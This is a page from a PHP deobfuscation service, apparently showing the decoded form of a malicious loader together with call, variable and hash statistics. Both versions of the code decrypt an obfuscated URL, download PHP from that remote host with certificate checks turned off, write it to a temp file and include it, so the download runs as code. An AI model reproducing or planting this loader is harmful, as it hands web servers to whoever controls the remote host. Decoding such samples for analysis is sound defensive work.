Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @error_reporting(E_ALL); @ini_set('display_errors', 1); function xor_encrypt_decr..

Decoded Output download

<?php 
@error_reporting(E_ALL); 
@ini_set('display_errors', 1); 
function xor_encrypt_decrypt($input, $key) { 
    $output = ''; 
    for ($i = 0; $i < strlen($input); $i++) { 
        $output .= $input[$i] ^ $key[$i % strlen($key)]; 
    } 
    return $output; 
} 
function geturlsinfo($url) { 
    if (function_exists('curl_exec')) { 
        $conn = curl_init($url); 
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); 
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); 
        $url_get_contents_data = curl_exec($conn); 
        if (curl_errno($conn)) { 
            echo 'Curl error: ' . curl_error($conn); 
            return false; 
        } 
        curl_close($conn); 
    } elseif (function_exists('file_get_contents')) { 
        $url_get_contents_data = file_get_contents($url); 
        if ($url_get_contents_data === false) { 
            echo 'file_get_contents error'; 
            return false; 
        } 
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) { 
        $handle = fopen($url, "r"); 
        if ($handle === false) { 
            echo 'fopen error'; 
            return false; 
        } 
        $url_get_contents_data = stream_get_contents($handle); 
        fclose($handle); 
    } else { 
        $url_get_contents_data = false; 
    } 
    return $url_get_contents_data; 
} 
$key = 'xshikata';  
$encrypted_url = "EAccGRhbW04KEh9HDAgACQ0RHRoOExcOFgcNBx9PFw4VXAAICAoRE1UXRwcOFlsMGRoGRlpPABkM";  
$decoded_url = xor_encrypt_decrypt(base64_decode($encrypted_url), $key); 
$a = geturlsinfo($decoded_url);  
if ($a !== false) { 
    $tmp_file = sys_get_temp_dir() . '/temp_' . uniqid() . '.php'; 
    file_put_contents($tmp_file, $a); 
    include($tmp_file); 
} else { 
    echo "Failed to retrieve content."; 
} 
?>

Did this file decode correctly?

Original Code

<?php
@error_reporting(E_ALL);
@ini_set('display_errors', 1);
function xor_encrypt_decrypt($input, $key) {
    $output = '';
    for ($i = 0; $i < strlen($input); $i++) {
        $output .= $input[$i] ^ $key[$i % strlen($key)];
    }
    return $output;
}
function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
        $url_get_contents_data = curl_exec($conn);
        if (curl_errno($conn)) {
            echo 'Curl error: ' . curl_error($conn);
            return false;
        }
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = file_get_contents($url);
        if ($url_get_contents_data === false) {
            echo 'file_get_contents error';
            return false;
        }
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
        $handle = fopen($url, "r");
        if ($handle === false) {
            echo 'fopen error';
            return false;
        }
        $url_get_contents_data = stream_get_contents($handle);
        fclose($handle);
    } else {
        $url_get_contents_data = false;
    }
    return $url_get_contents_data;
}
$key = 'xshikata'; 
$encrypted_url = "EAccGRhbW04KEh9HDAgACQ0RHRoOExcOFgcNBx9PFw4VXAAICAoRE1UXRwcOFlsMGRoGRlpPABkM"; 
$decoded_url = xor_encrypt_decrypt(base64_decode($encrypted_url), $key);
$a = geturlsinfo($decoded_url); 
if ($a !== false) {
    $tmp_file = sys_get_temp_dir() . '/temp_' . uniqid() . '.php';
    file_put_contents($tmp_file, $a);
    include($tmp_file);
} else {
    echo "Failed to retrieve content.";
}
?>

Function Calls

strlen 2
ini_set 1
base64_decode 1
error_reporting 1
xor_encrypt_decrypt 1

Variables

$i 0
$key xshikata
$input [[N G O\ UG[ FZO
$output
$encrypted_url EAccGRhbW04KEh9HDAgACQ0RHRoOExcOFgcNBx9PFw4VXAAICAoRE1UXRwcO..

Stats

MD5 98265a73de0be51479383ce0093a16d5
Eval Count 0
Decode Time 88 ms